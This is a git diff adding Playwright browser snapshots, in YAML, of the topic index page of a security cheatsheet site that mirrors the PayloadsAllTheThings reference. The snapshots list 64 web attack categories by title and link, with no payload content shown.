+          - /url: /daemon-sec-cheatsheet/payloads/server-side-include-injection
+          - generic [ref=f11e1199]:
+            - generic [ref=f11e1200]: "49"
+            - generic [ref=f11e1201]: payload
+            - generic [ref=f11e1205]: Server Side Include Injection
+            - generic [ref=f11e1206]: 1 page
+        - link "50 payload Server Side Request Forgery 3 pages" [ref=f11e1210] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-request-forgery
+          - generic [ref=f11e1211]:
+            - generic [ref=f11e1212]: "50"
+            - generic [ref=f11e1213]: payload
+            - generic [ref=f11e1217]: Server Side Request Forgery
+            - generic [ref=f11e1218]: 3 pages
+        - link "51 payload Server Side Template Injection 8 pages" [ref=f11e1222] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-template-injection
+          - generic [ref=f11e1223]:
+            - generic [ref=f11e1224]: "51"
+            - generic [ref=f11e1225]: payload
+            - generic [ref=f11e1229]: Server Side Template Injection
+            - generic [ref=f11e1230]: 8 pages
+        - link "52 payload SQL Injection 10 pages" [ref=f11e1234] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/sql-injection
+          - generic [ref=f11e1235]:
+            - generic [ref=f11e1236]: "52"
+            - generic [ref=f11e1237]: payload
+            - generic [ref=f11e1241]: SQL Injection
+            - generic [ref=f11e1242]: 10 pages
+        - link "53 payload Tabnabbing 1 page" [ref=f11e1246] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/tabnabbing
+          - generic [ref=f11e1247]:
+            - generic [ref=f11e1248]: "53"
+            - generic [ref=f11e1249]: payload
+            - generic [ref=f11e1253]: Tabnabbing
+            - generic [ref=f11e1254]: 1 page
+        - link "54 payload Type Juggling 1 page" [ref=f11e1258] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/type-juggling
+          - generic [ref=f11e1259]:
+            - generic [ref=f11e1260]: "54"
+            - generic [ref=f11e1261]: payload
+            - generic [ref=f11e1265]: Type Juggling
+            - generic [ref=f11e1266]: 1 page
+        - link "55 payload Upload Insecure Files 2 pages" [ref=f11e1270] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/upload-insecure-files
+          - generic [ref=f11e1271]:
+            - generic [ref=f11e1272]: "55"
+            - generic [ref=f11e1273]: payload
+            - generic [ref=f11e1277]: Upload Insecure Files
+            - generic [ref=f11e1278]: 2 pages
+        - link "56 payload Virtual Hosts 1 page" [ref=f11e1282] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/virtual-hosts
+          - generic [ref=f11e1283]:
+            - generic [ref=f11e1284]: "56"
+            - generic [ref=f11e1285]: payload
+            - generic [ref=f11e1289]: Virtual Hosts
+            - generic [ref=f11e1290]: 1 page
+        - link "57 payload Web Cache Deception 1 page" [ref=f11e1294] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/web-cache-deception
+          - generic [ref=f11e1295]:
+            - generic [ref=f11e1296]: "57"
+            - generic [ref=f11e1297]: payload
+            - generic [ref=f11e1301]: Web Cache Deception
+            - generic [ref=f11e1302]: 1 page
+        - link "58 payload Web Sockets 1 page" [ref=f11e1306] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/web-sockets
+          - generic [ref=f11e1307]:
+            - generic [ref=f11e1308]: "58"
+            - generic [ref=f11e1309]: payload
+            - generic [ref=f11e1313]: Web Sockets
+            - generic [ref=f11e1314]: 1 page
+        - link "59 payload XPATH Injection 1 page" [ref=f11e1318] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xpath-injection
+          - generic [ref=f11e1319]:
+            - generic [ref=f11e1320]: "59"
+            - generic [ref=f11e1321]: payload
+            - generic [ref=f11e1325]: XPATH Injection
+            - generic [ref=f11e1326]: 1 page
+        - link "60 payload XS-Leak 1 page" [ref=f11e1330] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xs-leak
+          - generic [ref=f11e1331]:
+            - generic [ref=f11e1332]: "60"
+            - generic [ref=f11e1333]: payload
+            - generic [ref=f11e1337]: XS-Leak
+            - generic [ref=f11e1338]: 1 page
+        - link "61 payload XSLT Injection 1 page" [ref=f11e1342] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xslt-injection
+          - generic [ref=f11e1343]:
+            - generic [ref=f11e1344]: "61"
+            - generic [ref=f11e1345]: payload
+            - generic [ref=f11e1349]: XSLT Injection
+            - generic [ref=f11e1350]: 1 page
+        - link "62 payload XSS Injection 6 pages" [ref=f11e1354] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xss-injection
+          - generic [ref=f11e1355]:
+            - generic [ref=f11e1356]: "62"
+            - generic [ref=f11e1357]: payload
+            - generic [ref=f11e1361]: XSS Injection
+            - generic [ref=f11e1362]: 6 pages
+        - link "63 payload XXE Injection 1 page" [ref=f11e1366] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xxe-injection
+          - generic [ref=f11e1367]:
+            - generic [ref=f11e1368]: "63"
+            - generic [ref=f11e1369]: payload
+            - generic [ref=f11e1373]: XXE Injection
+            - generic [ref=f11e1374]: 1 page
+        - link "64 payload Zip Slip 1 page" [ref=f11e1378] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/zip-slip
+          - generic [ref=f11e1379]:
+            - generic [ref=f11e1380]: "64"
+            - generic [ref=f11e1381]: payload
+            - generic [ref=f11e1385]: Zip Slip
+            - generic [ref=f11e1386]: 1 page
+  - contentinfo [ref=f11e1390]:
+    - generic [ref=f11e1391]:
+      - generic [ref=f11e1392]:
+        - link "DÆMON // SEC" [ref=f11e1393] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f11e1394]: //
+          - text: SEC
+        - paragraph [ref=f11e1395]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f11e1396]:
+        - link "daemon-404.github.io β†—" [ref=f11e1397] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f11e1398] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f11e1399]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f11e1400] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f11e1401] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f11e1402]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f11e1403]: RosΓ© Pine Β· Astro Β· Pagefind
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-25-06-086Z.yml b/.playwright-mcp/page-2026-08-10T08-25-06-086Z.yml
@@ -0,0 +1,662 @@
+- generic [ref=f11e549]:
+  - banner [ref=f11e550]:
+    - generic [ref=f11e551]:
+      - link "DÆMON//SEC home" [ref=f11e552] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f11e553]: //
+        - text: SEC
+        - generic [ref=f11e554]: _
+      - navigation "Primary" [ref=f11e555]:
+        - link "01 Vault" [ref=f11e556] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f11e557]: "01"
+          - generic [ref=f11e558]: Vault
+        - link "02 Payloads" [ref=f11e559] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f11e560]: "02"
+          - generic [ref=f11e561]: Payloads
+        - link "03 Tags" [ref=f11e562] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f11e563]: "03"
+          - generic [ref=f11e564]: Tags
+        - link "04 Credits" [ref=f11e565] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f11e566]: "04"
+          - generic [ref=f11e567]: Credits
+      - generic [ref=f11e568]:
+        - button "Search cheatsheets" [ref=f11e569] [cursor=pointer]:
+          - generic [ref=f11e572]: Search
+          - generic [ref=f11e573]: /
+        - button "Toggle theme" [ref=f11e574] [cursor=pointer]
+        - link "DÆMON main site" [ref=f11e579] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f11e582] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f11e585]:
+    - generic [ref=f11e588]:
+      - generic [ref=f11e589]:
+        - paragraph [ref=f11e590]:
+          - generic [ref=f11e591]: "02"
+          - generic [ref=f11e592]: "^:"
+          - generic [ref=f11e593]: Full mirror Β· MIT
+        - heading "PayloadsAllTheThings" [level=1] [ref=f11e595]
+        - paragraph [ref=f11e596]: A complete on-site mirror of swisskyrepo's payload and bypass reference β€” searchable offline, every page linked back to source.
+      - generic [ref=f11e597]:
+        - generic [ref=f11e598]:
+          - term [ref=f11e599]: Topics
+          - definition [ref=f11e600]: "64"
+        - generic [ref=f11e601]:
+          - term [ref=f11e602]: Pages
+          - definition [ref=f11e603]: "135"
+        - generic [ref=f11e604]:
+          - term [ref=f11e605]: License
+          - definition [ref=f11e606]: MIT
+    - generic [ref=f11e607]:
+      - navigation [ref=f11e608]:
+        - link "~" [ref=f11e609] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+        - generic [ref=f11e610]: /
+        - generic [ref=f11e611]: payloads
+      - complementary [ref=f11e612]:
+        - generic [ref=f11e613]: mirror
+        - generic [ref=f11e614]:
+          - text: Mirrored verbatim from the upstream repo. Images and raw payload files load from GitHub; see each page's
+          - emphasis [ref=f11e615]: source
+          - text: link.
+          - generic [ref=f11e616]:
+            - text: MIT Β·
+            - link "full credits & license" [ref=f11e617] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/credits
+            - text: Β·
+            - code [ref=f11e618]: 3bff425
+        - link "upstream" [ref=f11e619] [cursor=pointer]:
+          - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+      - generic [ref=f11e621]:
+        - link "01 payload Account Takeover 2 pages" [ref=f11e622] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/account-takeover
+          - generic [ref=f11e623]:
+            - generic [ref=f11e624]: "01"
+            - generic [ref=f11e625]: payload
+            - generic [ref=f11e629]: Account Takeover
+            - generic [ref=f11e630]: 2 pages
+        - link "02 payload API Key Leaks 2 pages" [ref=f11e634] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/api-key-leaks
+          - generic [ref=f11e635]:
+            - generic [ref=f11e636]: "02"
+            - generic [ref=f11e637]: payload
+            - generic [ref=f11e641]: API Key Leaks
+            - generic [ref=f11e642]: 2 pages
+        - link "03 payload Brute Force Rate Limit 1 page" [ref=f11e646] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/brute-force-rate-limit
+          - generic [ref=f11e647]:
+            - generic [ref=f11e648]: "03"
+            - generic [ref=f11e649]: payload
+            - generic [ref=f11e653]: Brute Force Rate Limit
+            - generic [ref=f11e654]: 1 page
+        - link "04 payload Business Logic Errors 1 page" [ref=f11e658] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/business-logic-errors
+          - generic [ref=f11e659]:
+            - generic [ref=f11e660]: "04"
+            - generic [ref=f11e661]: payload
+            - generic [ref=f11e665]: Business Logic Errors
+            - generic [ref=f11e666]: 1 page
+        - link "05 payload Clickjacking 1 page" [ref=f11e670] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/clickjacking
+          - generic [ref=f11e671]:
+            - generic [ref=f11e672]: "05"
+            - generic [ref=f11e673]: payload
+            - generic [ref=f11e677]: Clickjacking
+            - generic [ref=f11e678]: 1 page
+        - link "06 payload Client Side Path Traversal 1 page" [ref=f11e682] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/client-side-path-traversal
+          - generic [ref=f11e683]:
+            - generic [ref=f11e684]: "06"
+            - generic [ref=f11e685]: payload
+            - generic [ref=f11e689]: Client Side Path Traversal
+            - generic [ref=f11e690]: 1 page
+        - link "07 payload Command Injection 1 page" [ref=f11e694] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/command-injection
+          - generic [ref=f11e695]:
+            - generic [ref=f11e696]: "07"
+            - generic [ref=f11e697]: payload
+            - generic [ref=f11e701]: Command Injection
+            - generic [ref=f11e702]: 1 page
+        - link "08 payload CORS Misconfiguration 1 page" [ref=f11e706] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cors-misconfiguration
+          - generic [ref=f11e707]:
+            - generic [ref=f11e708]: "08"
+            - generic [ref=f11e709]: payload
+            - generic [ref=f11e713]: CORS Misconfiguration
+            - generic [ref=f11e714]: 1 page
+        - link "09 payload CRLF Injection 1 page" [ref=f11e718] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/crlf-injection
+          - generic [ref=f11e719]:
+            - generic [ref=f11e720]: "09"
+            - generic [ref=f11e721]: payload
+            - generic [ref=f11e725]: CRLF Injection
+            - generic [ref=f11e726]: 1 page
+        - link "10 payload Cross-Site Request Forgery 1 page" [ref=f11e730] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cross-site-request-forgery
+          - generic [ref=f11e731]:
+            - generic [ref=f11e732]: "10"
+            - generic [ref=f11e733]: payload
+            - generic [ref=f11e737]: Cross-Site Request Forgery
+            - generic [ref=f11e738]: 1 page
+        - link "11 payload CSS Injection 1 page" [ref=f11e742] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/css-injection
+          - generic [ref=f11e743]:
+            - generic [ref=f11e744]: "11"
+            - generic [ref=f11e745]: payload
+            - generic [ref=f11e749]: CSS Injection
+            - generic [ref=f11e750]: 1 page
+        - link "12 payload CSV Injection 1 page" [ref=f11e754] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/csv-injection
+          - generic [ref=f11e755]:
+            - generic [ref=f11e756]: "12"
+            - generic [ref=f11e757]: payload
+            - generic [ref=f11e761]: CSV Injection
+            - generic [ref=f11e762]: 1 page
+        - link "13 payload CVE Exploits 2 pages" [ref=f11e766] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/cve-exploits
+          - generic [ref=f11e767]:
+            - generic [ref=f11e768]: "13"
+            - generic [ref=f11e769]: payload
+            - generic [ref=f11e773]: CVE Exploits
+            - generic [ref=f11e774]: 2 pages
+        - link "14 payload Denial of Service 1 page" [ref=f11e778] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/denial-of-service
+          - generic [ref=f11e779]:
+            - generic [ref=f11e780]: "14"
+            - generic [ref=f11e781]: payload
+            - generic [ref=f11e785]: Denial of Service
+            - generic [ref=f11e786]: 1 page
+        - link "15 payload Dependency Confusion 1 page" [ref=f11e790] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dependency-confusion
+          - generic [ref=f11e791]:
+            - generic [ref=f11e792]: "15"
+            - generic [ref=f11e793]: payload
+            - generic [ref=f11e797]: Dependency Confusion
+            - generic [ref=f11e798]: 1 page
+        - link "16 payload Directory Traversal 1 page" [ref=f11e802] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/directory-traversal
+          - generic [ref=f11e803]:
+            - generic [ref=f11e804]: "16"
+            - generic [ref=f11e805]: payload
+            - generic [ref=f11e809]: Directory Traversal
+            - generic [ref=f11e810]: 1 page
+        - link "17 payload DNS Rebinding 1 page" [ref=f11e814] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dns-rebinding
+          - generic [ref=f11e815]:
+            - generic [ref=f11e816]: "17"
+            - generic [ref=f11e817]: payload
+            - generic [ref=f11e821]: DNS Rebinding
+            - generic [ref=f11e822]: 1 page
+        - link "18 payload DOM Clobbering 1 page" [ref=f11e826] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/dom-clobbering
+          - generic [ref=f11e827]:
+            - generic [ref=f11e828]: "18"
+            - generic [ref=f11e829]: payload
+            - generic [ref=f11e833]: DOM Clobbering
+            - generic [ref=f11e834]: 1 page
+        - link "19 payload Encoding Transformations 1 page" [ref=f11e838] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/encoding-transformations
+          - generic [ref=f11e839]:
+            - generic [ref=f11e840]: "19"
+            - generic [ref=f11e841]: payload
+            - generic [ref=f11e845]: Encoding Transformations
+            - generic [ref=f11e846]: 1 page
+        - link "20 payload External Variable Modification 1 page" [ref=f11e850] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/external-variable-modification
+          - generic [ref=f11e851]:
+            - generic [ref=f11e852]: "20"
+            - generic [ref=f11e853]: payload
+            - generic [ref=f11e857]: External Variable Modification
+            - generic [ref=f11e858]: 1 page
+        - link "21 payload File Inclusion 3 pages" [ref=f11e862] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/file-inclusion
+          - generic [ref=f11e863]:
+            - generic [ref=f11e864]: "21"
+            - generic [ref=f11e865]: payload
+            - generic [ref=f11e869]: File Inclusion
+            - generic [ref=f11e870]: 3 pages
+        - link "22 payload Google Web Toolkit 1 page" [ref=f11e874] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/google-web-toolkit
+          - generic [ref=f11e875]:
+            - generic [ref=f11e876]: "22"
+            - generic [ref=f11e877]: payload
+            - generic [ref=f11e881]: Google Web Toolkit
+            - generic [ref=f11e882]: 1 page
+        - link "23 payload GraphQL Injection 1 page" [ref=f11e886] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/graphql-injection
+          - generic [ref=f11e887]:
+            - generic [ref=f11e888]: "23"
+            - generic [ref=f11e889]: payload
+            - generic [ref=f11e893]: GraphQL Injection
+            - generic [ref=f11e894]: 1 page
+        - link "24 payload Headless Browser 1 page" [ref=f11e898] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/headless-browser
+          - generic [ref=f11e899]:
+            - generic [ref=f11e900]: "24"
+            - generic [ref=f11e901]: payload
+            - generic [ref=f11e905]: Headless Browser
+            - generic [ref=f11e906]: 1 page
+        - link "25 payload Hidden Parameters 1 page" [ref=f11e910] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/hidden-parameters
+          - generic [ref=f11e911]:
+            - generic [ref=f11e912]: "25"
+            - generic [ref=f11e913]: payload
+            - generic [ref=f11e917]: Hidden Parameters
+            - generic [ref=f11e918]: 1 page
+        - link "26 payload HTTP Parameter Pollution 1 page" [ref=f11e922] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/http-parameter-pollution
+          - generic [ref=f11e923]:
+            - generic [ref=f11e924]: "26"
+            - generic [ref=f11e925]: payload
+            - generic [ref=f11e929]: HTTP Parameter Pollution
+            - generic [ref=f11e930]: 1 page
+        - link "27 payload Insecure Deserialization 7 pages" [ref=f11e934] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-deserialization
+          - generic [ref=f11e935]:
+            - generic [ref=f11e936]: "27"
+            - generic [ref=f11e937]: payload
+            - generic [ref=f11e941]: Insecure Deserialization
+            - generic [ref=f11e942]: 7 pages
+        - link "28 payload Insecure Direct Object References 1 page" [ref=f11e946] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-direct-object-references
+          - generic [ref=f11e947]:
+            - generic [ref=f11e948]: "28"
+            - generic [ref=f11e949]: payload
+            - generic [ref=f11e953]: Insecure Direct Object References
+            - generic [ref=f11e954]: 1 page
+        - link "29 payload Insecure Management Interface 1 page" [ref=f11e958] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-management-interface
+          - generic [ref=f11e959]:
+            - generic [ref=f11e960]: "29"
+            - generic [ref=f11e961]: payload
+            - generic [ref=f11e965]: Insecure Management Interface
+            - generic [ref=f11e966]: 1 page
+        - link "30 payload Insecure Randomness 1 page" [ref=f11e970] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-randomness
+          - generic [ref=f11e971]:
+            - generic [ref=f11e972]: "30"
+            - generic [ref=f11e973]: payload
+            - generic [ref=f11e977]: Insecure Randomness
+            - generic [ref=f11e978]: 1 page
+        - link "31 payload Insecure Source Code Management 5 pages" [ref=f11e982] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/insecure-source-code-management
+          - generic [ref=f11e983]:
+            - generic [ref=f11e984]: "31"
+            - generic [ref=f11e985]: payload
+            - generic [ref=f11e989]: Insecure Source Code Management
+            - generic [ref=f11e990]: 5 pages
+        - link "32 payload Java RMI 1 page" [ref=f11e994] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/java-rmi
+          - generic [ref=f11e995]:
+            - generic [ref=f11e996]: "32"
+            - generic [ref=f11e997]: payload
+            - generic [ref=f11e1001]: Java RMI
+            - generic [ref=f11e1002]: 1 page
+        - link "33 payload JSON Web Token 1 page" [ref=f11e1006] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/json-web-token
+          - generic [ref=f11e1007]:
+            - generic [ref=f11e1008]: "33"
+            - generic [ref=f11e1009]: payload
+            - generic [ref=f11e1013]: JSON Web Token
+            - generic [ref=f11e1014]: 1 page
+        - link "34 payload LaTeX Injection 1 page" [ref=f11e1018] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/latex-injection
+          - generic [ref=f11e1019]:
+            - generic [ref=f11e1020]: "34"
+            - generic [ref=f11e1021]: payload
+            - generic [ref=f11e1025]: LaTeX Injection
+            - generic [ref=f11e1026]: 1 page
+        - link "35 payload LDAP Injection 1 page" [ref=f11e1030] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/ldap-injection
+          - generic [ref=f11e1031]:
+            - generic [ref=f11e1032]: "35"
+            - generic [ref=f11e1033]: payload
+            - generic [ref=f11e1037]: LDAP Injection
+            - generic [ref=f11e1038]: 1 page
+        - link "36 payload Mass Assignment 1 page" [ref=f11e1042] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/mass-assignment
+          - generic [ref=f11e1043]:
+            - generic [ref=f11e1044]: "36"
+            - generic [ref=f11e1045]: payload
+            - generic [ref=f11e1049]: Mass Assignment
+            - generic [ref=f11e1050]: 1 page
+        - link "37 payload Methodology and Resources 33 pages" [ref=f11e1054] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/methodology-and-resources
+          - generic [ref=f11e1055]:
+            - generic [ref=f11e1056]: "37"
+            - generic [ref=f11e1057]: payload
+            - generic [ref=f11e1061]: Methodology and Resources
+            - generic [ref=f11e1062]: 33 pages
+        - link "38 payload NoSQL Injection 1 page" [ref=f11e1066] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/nosql-injection
+          - generic [ref=f11e1067]:
+            - generic [ref=f11e1068]: "38"
+            - generic [ref=f11e1069]: payload
+            - generic [ref=f11e1073]: NoSQL Injection
+            - generic [ref=f11e1074]: 1 page
+        - link "39 payload OAuth Misconfiguration 1 page" [ref=f11e1078] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/oauth-misconfiguration
+          - generic [ref=f11e1079]:
+            - generic [ref=f11e1080]: "39"
+            - generic [ref=f11e1081]: payload
+            - generic [ref=f11e1085]: OAuth Misconfiguration
+            - generic [ref=f11e1086]: 1 page
+        - link "40 payload Open Redirect 1 page" [ref=f11e1090] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/open-redirect
+          - generic [ref=f11e1091]:
+            - generic [ref=f11e1092]: "40"
+            - generic [ref=f11e1093]: payload
+            - generic [ref=f11e1097]: Open Redirect
+            - generic [ref=f11e1098]: 1 page
+        - link "41 payload ORM Leak 1 page" [ref=f11e1102] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/orm-leak
+          - generic [ref=f11e1103]:
+            - generic [ref=f11e1104]: "41"
+            - generic [ref=f11e1105]: payload
+            - generic [ref=f11e1109]: ORM Leak
+            - generic [ref=f11e1110]: 1 page
+        - link "42 payload Prompt Injection 1 page" [ref=f11e1114] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/prompt-injection
+          - generic [ref=f11e1115]:
+            - generic [ref=f11e1116]: "42"
+            - generic [ref=f11e1117]: payload
+            - generic [ref=f11e1121]: Prompt Injection
+            - generic [ref=f11e1122]: 1 page
+        - link "43 payload Prototype Pollution 1 page" [ref=f11e1126] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/prototype-pollution
+          - generic [ref=f11e1127]:
+            - generic [ref=f11e1128]: "43"
+            - generic [ref=f11e1129]: payload
+            - generic [ref=f11e1133]: Prototype Pollution
+            - generic [ref=f11e1134]: 1 page
+        - link "44 payload Race Condition 1 page" [ref=f11e1138] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/race-condition
+          - generic [ref=f11e1139]:
+            - generic [ref=f11e1140]: "44"
+            - generic [ref=f11e1141]: payload
+            - generic [ref=f11e1145]: Race Condition
+            - generic [ref=f11e1146]: 1 page
+        - link "45 payload Regular Expression 1 page" [ref=f11e1150] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/regular-expression
+          - generic [ref=f11e1151]:
+            - generic [ref=f11e1152]: "45"
+            - generic [ref=f11e1153]: payload
+            - generic [ref=f11e1157]: Regular Expression
+            - generic [ref=f11e1158]: 1 page
+        - link "46 payload Request Smuggling 1 page" [ref=f11e1162] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/request-smuggling
+          - generic [ref=f11e1163]:
+            - generic [ref=f11e1164]: "46"
+            - generic [ref=f11e1165]: payload
+            - generic [ref=f11e1169]: Request Smuggling
+            - generic [ref=f11e1170]: 1 page
+        - link "47 payload Reverse Proxy Misconfigurations 1 page" [ref=f11e1174] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/reverse-proxy-misconfigurations
+          - generic [ref=f11e1175]:
+            - generic [ref=f11e1176]: "47"
+            - generic [ref=f11e1177]: payload
+            - generic [ref=f11e1181]: Reverse Proxy Misconfigurations
+            - generic [ref=f11e1182]: 1 page
+        - link "48 payload SAML Injection 1 page" [ref=f11e1186] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/saml-injection
+          - generic [ref=f11e1187]:
+            - generic [ref=f11e1188]: "48"
+            - generic [ref=f11e1189]: payload
+            - generic [ref=f11e1193]: SAML Injection
+            - generic [ref=f11e1194]: 1 page
+        - link "49 payload Server Side Include Injection 1 page" [ref=f11e1198] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-include-injection
+          - generic [ref=f11e1199]:
+            - generic [ref=f11e1200]: "49"
+            - generic [ref=f11e1201]: payload
+            - generic [ref=f11e1205]: Server Side Include Injection
+            - generic [ref=f11e1206]: 1 page
+        - link "50 payload Server Side Request Forgery 3 pages" [ref=f11e1210] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-request-forgery
+          - generic [ref=f11e1211]:
+            - generic [ref=f11e1212]: "50"
+            - generic [ref=f11e1213]: payload
+            - generic [ref=f11e1217]: Server Side Request Forgery
+            - generic [ref=f11e1218]: 3 pages
+        - link "51 payload Server Side Template Injection 8 pages" [ref=f11e1222] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-template-injection
+          - generic [ref=f11e1223]:
+            - generic [ref=f11e1224]: "51"
+            - generic [ref=f11e1225]: payload
+            - generic [ref=f11e1229]: Server Side Template Injection
+            - generic [ref=f11e1230]: 8 pages
+        - link "52 payload SQL Injection 10 pages" [ref=f11e1234] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/sql-injection
+          - generic [ref=f11e1235]:
+            - generic [ref=f11e1236]: "52"
+            - generic [ref=f11e1237]: payload
+            - generic [ref=f11e1241]: SQL Injection
+            - generic [ref=f11e1242]: 10 pages
+        - link "53 payload Tabnabbing 1 page" [ref=f11e1246] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/tabnabbing
+          - generic [ref=f11e1247]:
+            - generic [ref=f11e1248]: "53"
+            - generic [ref=f11e1249]: payload
+            - generic [ref=f11e1253]: Tabnabbing
+            - generic [ref=f11e1254]: 1 page
+        - link "54 payload Type Juggling 1 page" [ref=f11e1258] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/type-juggling
+          - generic [ref=f11e1259]:
+            - generic [ref=f11e1260]: "54"
+            - generic [ref=f11e1261]: payload
+            - generic [ref=f11e1265]: Type Juggling
+            - generic [ref=f11e1266]: 1 page
+        - link "55 payload Upload Insecure Files 2 pages" [ref=f11e1270] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/upload-insecure-files
+          - generic [ref=f11e1271]:
+            - generic [ref=f11e1272]: "55"
+            - generic [ref=f11e1273]: payload
+            - generic [ref=f11e1277]: Upload Insecure Files
+            - generic [ref=f11e1278]: 2 pages
+        - link "56 payload Virtual Hosts 1 page" [ref=f11e1282] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/virtual-hosts
+          - generic [ref=f11e1283]:
+            - generic [ref=f11e1284]: "56"
+            - generic [ref=f11e1285]: payload
+            - generic [ref=f11e1289]: Virtual Hosts
+            - generic [ref=f11e1290]: 1 page
+        - link "57 payload Web Cache Deception 1 page" [ref=f11e1294] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/web-cache-deception
+          - generic [ref=f11e1295]:
+            - generic [ref=f11e1296]: "57"
